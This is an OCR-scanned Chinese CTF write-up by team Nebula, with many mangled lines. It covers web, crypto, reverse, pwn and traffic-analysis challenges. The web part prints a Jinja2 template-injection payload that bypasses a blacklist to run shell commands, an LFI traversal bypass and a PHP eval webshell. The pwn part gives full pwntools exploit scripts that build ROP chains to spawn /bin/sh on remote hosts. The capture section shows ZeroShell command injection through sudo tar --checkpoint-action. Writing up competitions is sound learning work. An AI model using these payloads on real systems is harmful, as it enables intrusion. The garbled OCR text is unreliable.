I

2024 2ERFEEFERER
Writeup

. EPAER

kP Z#R: Nebula
fkPAHER . 38

—. BB

Web

safe_proxy
Biihin, BEEDTIRE,

1 @app.route('/', methods=["POST"])
2 def template():

3 template_code = request.form.get("code')
4
5 blacklist = ['__', 'import', 'os', 'sys',

'system', '\r', '\n']

%= Nebula

il 3 zeroshel 8 zeroshell 5

'eval',

6 for black in blacklist:

7 if black in template_code:

8 return "Forbidden content detected!"

9 result = render_template_string(template_code)
10 print(result)

11 return 'ok' if result is not None else 'error'

XEBBsstic. K RBRBEULEEATFAERMIT, B url_for['_"
['current_app']['_'"'_dinit_"'_"]J['_'"'_globals_'"'_

['ex''ec'] EEFexec,

'subprocess', 'popen',
'_globals_"''_"']
' builtins_'

l][l_l

seroshell 5 WIOFT 1 WINFT2 WINFT3 WiFT4 WWWFTS WINFTE 051 w052 5053 054 s055 K

']



REBEE, RIMBEREEHNR, FEELERTE static BRT, AREEHRAMITT

payload:

1 # HtlEstaticBH

2 code:{{url_for['_'"'_globals_"'_'"]['current_app']['_'"'_init_"''_"]
['_"'_globals_"'_'"J['_"'_builtins_"'_'"]J['ex''ec']("imp""ort
0""s;0""s.mkdir ('static')",{"app":url_for['_''_globals_"''_"]
['current_app'],"request":request})}}

3

4 # BAF static/a.txt

5 code:{{url_for['_''_globals_''_'"J['current_app']['_''_dinit_''_"']
['_'""_globals_"'_"J['_"'_builtins_'"'_'"]J['ex''ec']("imp""ort

o""sjopen('./static/a.txt','w').write(o""s.pop""en('cat /flag').read())",
{"app":url_for['_''_globals_''_']J['current_app'],"request":request})}}

7 SAIEIAIA] /static/a.txt FREERE flago

hello_web

Headers&tips: include.php EREZZX 4!

M include.php EEMILEY file=hello.php ALUEN, BXHEERE,

Ctrl+UiERS, &I <!--../hackme.php--> 0 <!--../tips.php-->, EHiZMA file= XM IMXERIEHE, B
TAEXE, BEEEE file=shackme.php # file=../hackme.php #1 file=../../hackme.php UKE

#&inie) hackme.php 32—y, 18 ../ WEBIRET, FALXNER ..././ , BI%d, HiRE L
—RBE R,

http://eci-2ze9aum750sowagx7006.cloudecil.ichungiu.com/index.php?file=..././hackme.php —
AIEARG
http://eci-2ze9aum750sowagx7006.cloudecil.ichungiu.com/index.php?file=..././tips.php

phpinfo

1 <?php

2 highlight_file(__FILE__);

3 S$1JIbGIY="eQOL1CmTYhVJIUNRAObPSVjrFzWZycHXfdaukqGgwNptIBKiDsxME" ; SOLWYMv=""zqgBZkOu
wUaTKFXRfLgmvchbipYdNyAGSIWVEQnxjDPoHStCMIrel" ; $1lapUCm=urldecode ("%6E1%7A%62%2F
266D2615%5C%76%7402%6928%2D%7T0%78%T75%T1%79%2A6%6C%72%6B2%64%679%5F2%65%68%63%73%7 7%
6F4%2B%6637%6A") ;

4 $YwzIst=$lapUCm[3].$lapUCm[6].S$TlapUCm[33].$lapUCm[30] ;$0xirhK=$TlapUCm[33].$lapu
Cm[10].S$lapUCm[24] .$lapUCm[10] .S$lapUCm[24] ; SYPAUWC=$0xirhK[0] .$lapUCm[18].S1lapU
Cm[3].$0xirhK[0].$0xirhK[1].$1lapUCm[24] ;$rVkKjU=$1lapUCm[7].$1lapUCm[13];SYwzIst.
=$TlapUCm[22].$lapUCm[36].$1lapUCm[29].$1lapUCm[26] .$1lapUCm[30].$1lapUCm[32].$lapuC
m[35].$1lapUCm[26] .$1lapUCm[30];


http://eci-2ze9aum75osowagx70o6.cloudeci1.ichunqiu.com/index.php?file=..././hackme.php
http://eci-2ze9aum75osowagx70o6.cloudeci1.ichunqiu.com/index.php?file=..././tips.php

5 SuWcdaA=

6 echo
$YwzIst ($0xirhK($YpAUWC ($uWcdaA, $rvkKjux2) ,$YpAUWC ($uWcdaA, $rvkKju, $rvkKju) ,$Yp
AUWC (SuWcdaA,0,3$rVkKju)));

7T 7>

hackme.phpIABE T B B base64BE, FFZ1FE] <2?2php
@eval($_POST['cmd_66.99']); 2>, EREIESHILKE cmd_66.99 IR
cmd_66_99 MMEKM. FIBphpFfiE#iwE, A cmd[66.99 SWF%IRA cmd_66.99 , B
G

AZE disable_functions, WEBE]MEMS, BEREIMITT

o = ‘ >_30.106.135.198

[ #%ail disable_functions-39.106.135.198

(*) ﬁ}\ ashelp 1 © R -

( H ar/www ml/LFI

bin i Shell{k &
boot

dev

64
Linux
[var/www/htn

[var/www/htn

sbin /

s5rv

SYS /var/www/html/LFI
tmp

usr

var Reference

( I N

s PHP 7.0-8.0 user_filter bypass

¢ AntSword-Labs/bypass_disable_functions/7

¢ Bug #54350 Memory corruption with user_filter

y § find / —name flag*

/sys/kernel/sched domain/cpuO/domain0/flags
c/sys/kernel/sched domain/cpul/domain0/flags
s/devices/pnp0/00:04/tty/ttys0/flags
s/devices/platform/serialB8250/tty/ttys2/flags
s/devices/platform/serial8250/tty/ttys3/flags
s/devices/platform/seria 50/tty/ttysl/flags
s/devices/pci0000:00/0000:00:02.0/virtio0/net/eth0/flags

ces/virtual/net/lo/flags
s/virtual/net/dummy0/fla
bdc861992091ba200f8aaccb8b3acdd/flag
:/) 5§ cat /run/log/6bdc961992091ba200f8aaccb8b3acdl/flag
flag{fbal29%e8-1 1-4016-b30b-6d4d7edal5Sbac}

1]
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FBATHERBR T,
Crypto

rasnd
FREZINZS

cryptol

M- hint, EDREVIESRIAMAS
x1=randint(0,2**11)
yl=randint(0,2**114)
x2=randint(0,2**11)
y2=randint(0,2**514)
hintl=x1*p+y1*q-Ox114
hint2=x2*p+y2*g-0x514

HihintEIE—T
hintl=hintl + 0x114
hint2=hint2 + 0x514

A x1 M x2 BN, BILUSEEK,
SEHE a | b 58
ax hintl —b* hint2 =d * q

REBHInK—Rged, BVETHEq
165D

_ hintl = hint1 +0x114
hint2 = hint2 + 0x514
f=0
foriintgdm(range(1,211)):

forjinrange(1,2**11):
if gmpy2.gcd(i*hintl-j*hint2,n)!= 1:



p = gmpy2.gcd(i*hintl-j*hint2,n)
q=n//p
phi=(p-1)*(q-1)
d = gmpy2.invert(0x10001,phi)
m = pow(c,d,n)
print(long_to_bytes(m))
f=1
break
iff==1:
break

crypto2

hint = pow(514*p - 114%q, n - p - g, Nn)
n-p-q S2BF E#EE \phi(n)-1

FAZE D/ \EE

(514 % p— 114 % ¢)?™ ™! = (514%p—114%¢)"' mod n

BATATLUREIRE 514xp - 114xq
SAIEHBIIE 514%p + 114%q
(514%p—114%q)> + 4% 114514 xn = (514 * p + 114 % q)?

RAE, F%pq
R

<2 hint3 = gmpy2.invert(hint3,n2)
if hint3 %2 ==1:
print(1)
hint3 = hint3 -n2
print(hint3)
hint4 = hint3*hint3 +4*114*514*n2



hint4 = gmpy?2.iroot(hint4,2)
if hint4[1] == True:

hint4 = hint4[0]
p =( hint4+hint3) //(2*514)
q=n2//p
phi=(p-1)*(g-1)
d = gmpy2.invert(0x10001,phi)
m = pow(c2,d,n2)
print(long_to_bytes(m))

flag{10d34d37-9285-44c7-8801-8c83af74d579}

Re

randOm
#®iNpy3.12, FFiA, MEREMNNEESST
XEBIRYE



S -
v9 = PyLong_FromLong(65537164);
*((_QWORD *)off 7FF97BA7B688 + 38)
if ( Iv9 )

return OxXFFFFFFFF164;
v1le = PyLong_FromLong(37360232i64);
*((_QWORD *)off_ 7FF97BA7B688 + 39)
if ( !vie )

return OxXFFFFFFFF164;
vll = PylLong_FromLong(304643896i64);
*((_QWORD *)off_7FF97BA7B688 + 40) = v1l;
if ( !vil )

return @xFFFFFFFFi64;
vl2 = PyLong_FromLong(1244723021i64);
*((_QWORD *)off_7FF97BA7B688 + 41) = v12;
if ( 1vi2 )

return @xFFFFFFFFi164;
vl3 = PyLong_FromString("2282784775", @ié4,
*((_QWORD *)off 7FF97BA7B688 + 42) = v13;
if ( !vl3 )

return OxXFFFFFFFF164;
vl4d = PyLong_FromString("2563918650", 0i64,
*((_QWORD *)off 7FF97BA7B688 + 43) = vid4;
if ( !vid )

return ©xFFFFFFFFi64;
vl5 = PylLong_FromString("2654435769", @i64,
*((_QWORD *)off_7FF97BA7B688 + 44) = v15;
if ( !vils )

return @xFFFFFFFFi64;
vlé = PyLong_FromString("2918417411", @ié4,
*((_QWORD *)off 7FF97BA7B688 + 45) = vi6;
if ( !vie )

return @xFFFFFFFFi1i64;
vl7 = PyLong_FromString("3628702646", ©ié4,
*((_QWORD *)off 7FF97BA7B688 + 46) = v17;
if ( 1vl7 )

return OxXFFFFFFFF164;
vl8 = PyLong_FromString("3773946743", @ie4,
*((_QWORD *)off 7FF97BA7B688 + 47) = vi18;
if ( !vig )

return @xFFFFFFFFi64;
vl9 = PyLong_FromString("4198170623", ©ié4,
*((_QWORD *)off_7FF97BA7B688 + 48) =
if ( 1vio )

return @xFFFFFFFFi64;
v28 = PyLong_FromString("4294967293", @ié4,
*((_QWORD *)off 7FF97BA7B688 + 49) = v20;

AR B IRE




ABEL_77:
sub_7FF97BA76248( "rand@m.randem", v9, v7, "randem.pyx");
if ( !'vs )
goto LABEL_87;
goto LABEL_84;

}
if ((*v8 >= 08 )
{

(*(_QWORD *)v8)-- == 1i64;

v6 = (int *)vi4;
v15 = what_fuck_func(v12, *((_QWORD *)off_7FF97BA7B688 + 33), 5i64, 0i64);
if ( 1vis )
{
v9 =
v7 =
goto
}
vlé = off_7FF97BA7B688;
v3 = (int *)vi5;
v17 ng_Type[@];

(_QWORD *)off_7FF97BA7B688 + 32);

*(_DWORD *)v12;
v8 = (int *)v12;
goto LABEL_36;

X
if ( v19 >= ex1e )

[RELEXS

ZIWT
a=0x12345678
v14=a " 0x9e3779b9
vi=a>>5
vl2=a<<4

v12 &= Oxfa3affff

v12 +=v3>>23
print(hex(v12))
v27=v14>>11
print(hex(v27))

res = pow(v27, 0x10001, Oxfffffffd)



print(hex(res))

MAZ, FT—AHIRFER, XHET:

from gmpy2 +import invert

n = exfffffffd

p = 9241
q = 464773

1
2
3
4
5 # http://www. factordb.com/index.php?query=4294967293
6
7
8 assert p*q ==

9

10 e 0x10001
11 d = dinvert(e, (p-1)*(g-1))
12 assert exd % ((p-1)*(g-1)) == 1

13

14 cipher = [0x112287F38, Ox10A30F74D, 0x1023A1268, 0x208108807]
15

16 cipher2_set = [0xadf38403, 0xd8499bb6, Oxedfldb77, 0x98d24b3a]
17

18 from ditertools import permutations

19

20 all_permutations = Llist(permutations(cipher2_set))

21

22 “import randOm

23

24 for cipher2 in all_permutations:

25 inp = """

26 for i 1in range(4):

27 cl = cipher[i]

28 c2 = cipher2[i]

29

30 m = ((pow(c2, d, n) A (0x9e3779b9 >> 11)) << 11) | ((cl & Ox7ffO) >> 4)
31 inp += hex(m)[2:].zfill(8)

32 print(inp)

33 if randOm.check(inp):

34 print("Congrats! Flag is: flag{"+inp+"}")

35 break

SR AR

Congrats! Flag is: flag{813a97f3d4b34f74802ba12678950880}



ezCsky

XX E https://www.iotsec-zone.com/article/4

Cutter $TH 1R

0x00008974 bkpt

0x00008976 bkpt

1—— aav.0x00008978:

0x00008978 bkpt

0x0000897a bkpt

0x0000897c¢ .dword @x000087dc ;
0x00008980 .dword 0x00008654 ;
0x00008984 .dword 0x0000870c ;
0x00008988 .dword 0x00008828 ;
@x@@@®898c .dword @x00008a88 ;

-- $t:

:—— __libc_csu_init:

$d():

RC4, keyzE testkey

BN NiZE data FEiX—

: Flags:

b

loc.
sym.
loc.
sym.
str.

_t_0x87dc ; sym.check
rc4_init

_t_0x870c ; sym.rc4_crypt
cmp_result
You_enter_a_true_flag

: 68 44 f2 64 02 64 42 72 78 e6 ea c2 78 b8 63 9e 5b 3d d9 28 3 c8 73 06 ee 6b
str RPN i d1 00 00 @1 1b @3 3b 10 00 00 00 @1 00 00 00 a4 £3 Ff £f 28 00 00 00

% len(key)]) & Oxff

HARBEAREIFTED
RERAY, EREASM—TAMEE—FHEURK
REXFERE:
1 def RC4_GenBox(box, key):
2 for i in range(256):
3 box[i] =
4 i=0
5 for j in range(256):
6 = (box[j] + i + key[j
7 tmp = box[j]
8 box[j] = box[1i]
9 box[i] = tmp
10
11 def RC4_Encrypt(box, data, out):
12 k =0
13 j=0
14 for i in range(len(data)):
15 k =k +1
16 j = (box[k] + j) & Oxff
17 tmp = box[k]

....]hDddex LX.cl [=.(7.8. .k
O T (...


https://www.iotsec-zone.com/article/4

18 box[k] = box[j]

19 box[j] = tmp

20 a = box[(box[k] + box[j]) & 0xff]
21 out[i] = a " datali]

22

23 k = b'testkey'

24

25 data = bytes.fromhex("96 8F B8 08 5D A7 68 44 F2 64 92 64 42 7A 78 E6 EA C2 78
B8 63 9E 5B 3D D9 28 3F C8 73 06 EE 6B 8D OC 4B A3 23 AE CA 40 ED D1")

26

27 box = [0] * 256

28 out = [0] * len(data)
29

30 RC4_GenBox(box, k)

31 RC4_Encrypt(box, data, out)
32

33 flag = b'f'

34 for i 1in range(0, len(out)):

35 flag += bytes([out[i] » flag[-1]])
36

37 print(flag)

38

39 # flag{dof5b330-9a74-1lef-9afd-acde48001122}

Pwn

anote
. AFEEeditEERH AL, BEBEBEE T —THIR,

MA: BET—MERPERZRIEH, KRN ZRHRIRBER, RXIN RIS B EMA
17 system("/bin/sh") BNAl;

°* exp.py

#_x_coding:utf-8_x_

from pwn import *

context.arch = 'i386'
context.log_level = "debug" if debug else "info"

local

debug

© o N o b~ W N R



10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

binary = "./note"

1ib = "/1ib/i386-1linux-gnu/libc.so.6"

elf = ELF(binary)
libc = ELF(lib)
if local:
io = process(binary)
else :
io = remote("47.93.212.188", 22829)
s = lambda buf : io.send(buf)
sl = lambda buf : io.sendline(buf)
sa = lambda delim, buf : djo.sendafter(delim, buf)
sal = lambda delim, buf : jo.sendlineafter(delim, buf)
sh = lambda : jo.interactive()
r = lambda n=None : io.recv(n)
ru = lambda delim : do.recvuntil(delim)
r7f = lambda : ubd(dio.recvuntil("\x7f")[-6:]+"\x00\x00")
trs = lambda addr : libc.address+addr
gadget = lambda 1ins : libc.search(asm(ins, arch="amd64"), executable
= True) .next()
tohex = lambda buf " join("M\\x%02x"%ord(_) for _ 1in buf)
protect = lambda pos, ptr ((pos>>12) A (ptr))
def add():
sal(b'Choice>>', b'1l'")
def show(index):

sal(b'Choice>>', b'2")
sal(b'index: ', str(index).encode())

def edit(index, size, content):

sal(b'Choice>>', b'3")
sal(b'index: ', str(index).encode())

sal(b'len: ', str(size).encode())

sal(b'content:

add()
add ()
add()
add()

show(0)
ru(b'gift: ')

', content)

gift = int(ru(b'\n"), 16)
info('gift => Ox%x' % gift)



56

57 payload = b'"'

58 payload += p32(0x80489CE) * 5
59 payload += p32(0x21)

60 payload += p32(gift + 16)

61

62 edit(0, 0x24, payload)

63 edit(1, 0, b'")

64

65 sh()

avim
L EREMNIELHIT, load Ml store THEEFRImmILBEIEREERE BT memoryBNiIAR, 1SRk
t, MMmEF EEREFIRNZ,

FHA: load __libc_start_main_call Byidlt, SIEHFHRITIREZBREMN, 2EEHEHRE
fifygadget, IBEFgadgetFHEREMIE EA#HITROP,

* exp.py
1 #_*_coding:utf-8_x*_
2 from pwn import =*
3
4 context.arch = 'i386'
5 context.log_level = "debug" if debug else "info"
6
7 Tlocal =
8 debug =
9
10 binary = "./pwn"
11 Tlib = "/1lib/x86_64-11inux-gnu/libc.so.6"
12
13 elf = ELF(binary)
14 libc = ELF(lib)
15
16 if local:
17 io = process(binary)
18 else :
19 io = remote("47.94.202.237", 36940)
20
21 s = lambda buf : io.send(buf)
22 sl = lambda buf : io.sendline(buf)
23 sa = lambda delim, buf : do.sendafter(delim, buf)
24 sal = lambda delim, buf : jo.sendlineafter(delim, buf)

25 sh = lambda : jo.interactive()



26
27
28
29
30

31
32
33

34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70

lambda n=None

r

ru = lambda delim
r7f = lambda

trs = lambda addr
gadget = lambda 1ins

= True) .next()

tohex = lambda buf
protect = lambda pos, ptr
mangle =

Ox11))) & ((1<<64)-1)

def makeAddInst(dst, srcl,
inst = (1 << 28)
inst |= dst & 0x1f
inst |= ((srcl & 0x1f)
inst |= ((src2 & 0x1f)
return tinst

def makeSubInst(dst, srcl,
inst = (2 << 28)
inst |= dst & Ox1f
inst |= ((srcl & 0x1f)
inst |= ((src2 & 0x1f)
return inst

def makeMulInst(dst, srcl,
inst = (3 << 28)
inst |= dst & Ox1f
inst |= ((srcl & 0x1f)
inst |= ((src2 & 0x1f)

return inst

def makeDivInst(dst, srcl,
inst = (4 << 28)
inst |= dst & Ox1f
inst |= ((srcl & 0x1f)
inst |= ((src2 & 0x1f)

return inst

def makeXorInst(dst, srcl,
inst = (5 << 28)
inst |= dst & 0x1f
inst |= ((srcl & 0x1f)
inst |= ((src2 & 0x1f)
return tinst

def makeAndInst(dst, srcl,

: dio.recv(n)

: do.recvuntil(delim)

: ubd(dio.recvuntil("\x7f")[-6:]+"\x00\x00")
: libc.address+addr

: libc.search(asm(ins, arch="amd64"), executable

" join("\\x%02x"%ord(_) for _ 1in buf)
((pos>>12) A (ptr))

lambda var, guard : (((var’?guard)<<0x1l) + ((var’guard)>>(64-

src2):

<< 5)
<< 16)

src2):

<< 5)
<< 16)

src2):

<< 5)
<< 16)

src2):

<< 5)
<< 16)

src2):

<< 5)
<< 16)

src2):



71
72
73
74
75
76
T
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117

inst = (6 << 28)

inst |= dst & 0x1f

inst |= ((srcl & 0x1f) << 5)
inst |= ((src2 & 0x1f) << 16)
return tinst

def makelLshiftInst(dst, srcl, src2):
inst = (7 << 28)
inst |= dst & Ox1f
inst |= ((srcl & 0x1f) << 5)
inst |= ((src2 & 0x1f) << 16)

return 1inst

def makeRshiftInst(dst, srcl, src2):
inst = (8 << 28)
inst |= dst & oOx1f
inst |= ((srcl & 0x1f) << 5)
inst |= ((src2 & 0x1f) << 16)

return inst

def makeStoreInst(dst, src, imm):
assert imm <= OxFFF
inst = (9 << 28)
inst |= dst & oOx1f
inst |= ((src & 0x1f) << 5)
inst |= ((imm & Oxfff) << 16)

return inst

def makelLoadInst(dst, src, imm):
assert imm <= OxFFF
inst = (10 << 28)
inst |= dst & ox1f
inst |= ((src & 0x1f) << 5)
inst |= ((imm & Oxfff) << 16)

return inst

payload = flat(
{
0: [
makelLoadInst (0, 10, 0xd38),

makelLoadInst(1l, 10, 0x320),
makeSubInst(0, 0, 1),

makeLoadInst(2, 10, 0x328),
makeAddInst(2, 2, 0),



118

119 makeLoadInst(3, 10, 0x330),
120 makeAddInst(3, 3, 0),
121
122 makelLoadInst(4, 10, 0x338),
123 makeAddInst(4, 4, 0),
124
125 makelLoadInst(5, 10, 0x340),
126 makeAddInst(5, 5, 0),
127
128 makeStoreInst(2, 10, 0x118),
129 makeStorelnst(3, 10, 0x120),
130 makeStorelnst(4, 10, 0x128),
131 makeStoreInst(5, 10, 0x130),
132
133 1,
134 0x200: [
135 P64 (0x29d90) ,
136 p64 (0x2a3e5),
137 p64(Llibc.search(b'/bin/sh').__next__()),
138 p64 (0x2a3e6) ,
139 p64(Llibc.sym[ 'system'])
140 ]
141 1,
142 length = 0x300
143 )
144
145 sa(b'opcode:', payload)
146
147 sh()
novell

WA std:copyBIBTER] e 1% _ERYbufferk/)y, ERikEL.

FA: FAhelper.cppitBEaEB D EIR— 1 bucketikeyE, Z/EiBgadgetfEAvaluefiZ!
unsorted_mapH X, EHITcopyHIHEESFEiEH. HEBIFIA pop rsp MgagdetfU#iTi%iE
¥%, ZREEW1Tshell

e helper.cpp

#include <iostream>
#include <string>
#include <cassert>
#include <unordered_map>

a A W N



6 size_t bucket_index(const std::unordered_map<unsigned int, unsigned long>&

map, int k

size_t bucket_count = map.bucket_count();

const auto& hash_func = map.hash_function();

size_t hash_code hash_func(key) ;

10 return hash_code % bucket_count;
11 }
12
13 1int main(int argc, char const *argv[]) {
14 std: :unordered_map<unsigned 1int, unsigned long> map(59);
15 int count = 0;
16 for (unsigned key=0; key <= 10000; key++) {
17 assert( bucket_index(map, key) == map.bucket(key));
18 if (bucket_index(map, key) == 0) {
19 count += 1;
20 std::cout<< "partl(" << key <<", Oxdeadbeef) # " << count <<"
index: "<< b;
21 if (count == 32){
22 break;
23 }
24 }
25 }
26 }
* exp.py
1 #_*_coding:utf-8_x_
2 from pwn import *
3
4 context.arch = 'amd64'
5 context.log_level = "debug" if debug else "info"
6
7 Tlocal = 0
8 debug =
9
10 binary = "./novell"
11 Tlib = "/1lib/x86_64-11inux-gnu/libc.so.6"
12
13 elf = ELF(binary)
14 libc = ELF(lib)
15
16 1if local:
17 io = process(binary)
18 else :
19 io = remote("60.205.177.113", 37158)



20
21
22
23
24
25
26
27
28
29
30

31
32
33

34
35
36
37
38
39
40
41
42
43
44
45
46
a7
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64

s = lambda buf : io.send(buf)
sl = lambda buf : io.sendline(buf)
sa = lambda delim, buf : djo.sendafter(delim, buf)
sal = lambda delim, buf : jo.sendlineafter(delim, buf)
sh = lambda : do.interactive()
r = lambda n=None : jo.recv(n)
ru = lambda delim : io.recvuntil(delim)
r7f = lambda : ub4(io.recvuntil("\x7f") [-6:]+"\x00\x00")
trs = lambda addr : libc.address+addr
gadget = lambda -ins : libc.search(asm(ins, arch="amd64"), executable
= True) .next()
tohex = lambda buf " join(M\\x%02x"%ord(_) for _ din buf)
protect = lambda pos, ptr ((pos>>12) M (ptr))
mangle = lambda var, guard (((varfguard)<<0x1l) + ((var’guard)>>(64-
Ox11))) & ((1<<64)-1)
payload = flat(
{
0: [
elf.got['puts'],
0,
elf.plt['puts'],
0x402D23
]
b
filler = b'\x00'
)
author = b'admin'
sal(b'Author: ', payload)
def partl(key, value):
sal(b'Chapter: ', b'1l')
sal(b'Blood: ', str(key).encode())
sal(b'Evidence: ', str(value).encode())
def part2(key):
sal(b'Chapter: ', b'2")
sal(b'Blood: ', str(key).encode())

partl(0, Oxdeadbeef) # 1 dindex: 0
partl(59, Oxdeadbeef) # 2 index: O

partl(118, Oxdeadbeef)
partl(177, Oxdeadbeef)
partl(236, Oxdeadbeef)
partl(295, Oxdeadbeef)

# 3 dindex:
# 4 Hdndex:
# 5 dindex:
# 6 index:

®© O © o



65 partl(354, Oxdeadbeef) # 7 dindex: O

66 partl(413, Oxdeadbeef) # 8 dindex: 0

67 partl(472, Oxdeadbeef) # 9 dindex: O

68 partl(531, Oxdeadbeef) # 10 +index: 0

69 partl(590, Oxdeadbeef) # 11 index: O

70 partl(649, Oxdeadbeef) # 12 dindex: 0

71 partl(708, Oxdeadbeef) # 13 dindex: O

72 partl(767, Oxdeadbeef) # 14 [index: 0

73 partl(826, 0) # 15 dindex: O

74 partl(885, Oxdeadbeef) # 16 index: 0

75 partl(944, Oxdeadbeef) # 17 index: O

76 partl(1003, Ox4025BE) # 18 tindex: 0

77 partl(1062, 0x40a540) # 19 index: O

78 partl(1121, Oxdeadbeef) # 20 +dindex: ©

79 partl(1180, Oxdeadbeef) # 21 +index: ©

80 partl(1239, Oxdeadbeef) # 22 dindex: 0

81 partl(1298, Oxdeadbeef) # 23 +dindex: ©

82 partl(1357, Oxdeadbeef) # 24 -dindex: 0

83 partl(1416, Oxdeadbeef) # 25 +index: 0O

84 partl(1475, Oxdeadbeef) # 26 1index: 0

85 partl(1534, Oxdeadbeef) # 27 +dindex: ©

86 partl(1593, Oxdeadbeef) # 28 -dindex: 0

87 partl(1652, Oxdeadbeef) # 29 +index: 0O

88 partl(1711, Oxdeadbeef) # 30 1index: 0

89 partl(1770, Oxdeadbeef) # 31 +dindex: ©

90 partl(1829, Oxdeadbeef) # 32 1dindex: ©

91 part2(59)

92

93 puts = ub4(ru(b'\x7f')[-6:] + b'\x00\x00"')
94 Tlibc.address = puts - Llibc.sym['puts']

95 Hdnfo('libc base => 0Ox%x' % libc.address)
96

97

98 payload = flat(

95 {

100 0: [

101 libc.address + 0x00000000000904a9,
102 0,

103 0,

104 libc.address + 0x000000000002be51,
105 0,

106 libc.address + 0x000000000002a3e5,
107 libc.search(b'/bin/sh').__next__(),
108 libc.sym['execve'],

109 1,

110 },

111 filler = b'\x00'



112
113
114
115
116

)

author = b'admin'
sal(b'Author:

sh()
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Fig®:

', payload)

E7Hh

4591 80.398556 61.139.2.128 61.139.2.100 HTTP 532 GET /cgi-bin/kerbynet?Action=Render&0bject=StartSession HTTP/1.1
4576 80.395557 61.139.2.128 61.139.2.100 HTTP 524 GET /cgi-bin/kerbynet?Action=Render&0bject=head HTTP/1.1
4598 80.399120 61.139.2.128 61.139.2.100 HTTP 523 GET /cgi-bin/kerbynet?Action=Render&0bjec: g HTTP/1.1
4801 80.550296 61.139.2.128 61.139.2.100 HTTP 566 GET /cgi-bin/kerbynet?Action=Render&0Object=log HTTP/1.1
4586 80.398194 61.139.2.128 61.139.2.100 HTTP 530 GET /cgi-bin/kerbynet?Action=Render&0bject=setup_menu HTTP/1.1
4581 80.397153 61.139.2.128 61.139.2.100 HTTP 522 GET /cgi-bin/kerbynet?Action=Render&0bject=sx HTTP/1.1
11029 484.356560 182.143.237.15 61.139.2.100 HTTP 617 (GET /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=_8x5@9type="%@A/etc/sudo%2@tar%20-cf%20/dev/null%28/dev/null%2@--checkpoint=1%20--checkpoint-
10292 283.914767  182.143.237.15 61.139.2.100 HTTP. 277 GET /cgi-bin/kerbynet?Action=x509vien&Section=NoAuthREQ&User=8x509type="%eA1d%oA" HTTP/1.1
10865 417.715047  182.143.237.15 61.139.2.100 HTTP. 277 GET /cgi-bin/kerbynet?Acti iew&Secti = ype='%@Aid%eA" HTTP/1.1
342 24.165584 61.139.2.128 61.139.2.100 HTTP. 657 GET /cgi-bin/kerbynet?STk=38a9F841450fa9d81539fc88fad20d3fc7c i Object=sysinfo HTTP/1.1
491 37.166350 61.139.2.128 61.139.2.100 HTTP 657 GET /cgi-bin/kerbynet?STk=38a9f841450fa9d81! fcg8fad420d3fc7c i Object=sysinfo HTTP/1.1
513 50.160868 61.139.2.128 61.139.2.100 HTTP 657 GET /cgi-bin/kerbynet?STk=38a9f84145@fa9d81539fc88fa420d3fc7c2003e&Action=Render&Object=sysinfo HTTP/1.1
8577 100.778005 61.139.2.128 61.139.2.100 HTTP 701 GET /cgi-bin/kerbynet?STk=5c674d5c38eala5637a487388ebl30efof874638Action=L Object=Sessi pened+from+host+61.139.2.128%20(Admin) HTTP/1.1
8823 101.202016 61.139.2.128 61.139.2.100 HTTP 670 GET /cgi-bin/kerbynet?STk=5c674d5c38eala5637a487388eb130ef0f874638Action=Render8Object=MsgBoardwait HTTP/1.1
8619 100.847087 61.139.2.128 61.139.2.100 HTTP 668 GET /cgi-bin/kerbynet?STk=5c674d5c38eala5637a48738f8eb130ef0f874638Action=Render&0bject=autoupdate HTTP/1.1
10079 248.620094 61.139.2.128 61.139.2.100 HTTP 661 GET /cgi-bin/kerbynet?STk=5c674d5c38eala5637a48738f8eb130ef0f874638Action=Render&0bject=groups_menu HTTP/1.1

BHFIERIFE, KIAIZEHRefereridR:

goemiaw

—_ = ==

Wireshark - 5348 11029 - attack_package.ca
package.cap

-

= O

Request
Request
Request
Request
Request
Request
Request

Parameter:
Parameter:
Parameter:
Parameter:
Parameter:
Parameter:
Parameter:

v Request URI Query: Action=x509view&Section=NoAuthREQ&User=8x5@9type="%0A/etc/sudo%20tar%20-cf%28/dev/null%2e/dev/null%2e--checkpoint=1%20--checkpoint-action=exec="ps%20-ef'%
URI Query
URI Query
URI Query
URI Query
URI Query
URI Query
URI Query
Request Version: HTTP/1.1
Host: 61.139.2.10@\r\n
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.8\r\n
Accept-Encoding: gzip, deflate\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n
Connection: close\r\n
Accept-Language: en-US,en;q=@.5\r\n
Referer: ZmxhZ3s2QzJFMzhEQS1EOEUOLThEODQtNEE@RI1FMKFCRDA3QTFGMOFI\r\n

Action=x509view

Section=NoAuthREQ

User=

x509type=

%0A/etc/sudo%2etar¥%20-cf%20/dev/null%20/dev/null%2e--checkpoint=1%20- - checkpoint-action=exec=
ps%20-ef

%A

Upegrade-Insecure-Reauests: 1\r\n
cefe 2e 31 ed @a 48 6f 73 74 3a 20 36 31 2e 31 33 39 .1--Host : 61.139
©168 2e 32 2e 31 30 3@ od @a 55 73 65 72 2d 41 67 65 .2.100- - User-Age
©116 6e 74 3a 20 4d 6f 7a 69 6¢c 6¢c 61 2f 35 2e 30 20 nt: Mozi 1la/5.€
28 58 31 31 3b 20 4c 69 6e 75 78 20 78 38 36 5f (X11; Li nux x86_
36 34 3b 20 72 76 3a 37 38 2e 30 29 20 47 65 63 64; rv:7 8.0) Gec
6b 6f 2f 32 30 31 3@ 3@ 31 3@ 31 20 46 69 72 65 ko/20100 101 Fire
66 6f 78 2f 37 38 2e 30 @d @a 41 63 63 65 70 74 fox/78.0 --Accept
| ©16@ 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 2c -Encodin g: gzip,
G176 20 64 65 66 6¢c 61 74 65 Od @a 41 63 63 65 70 74 deflate --Accept
0120 3a 20 74 65 78 74 2f 68 74 6d 6c 2c 61 7@ 70 6¢ : text/h tml,appl
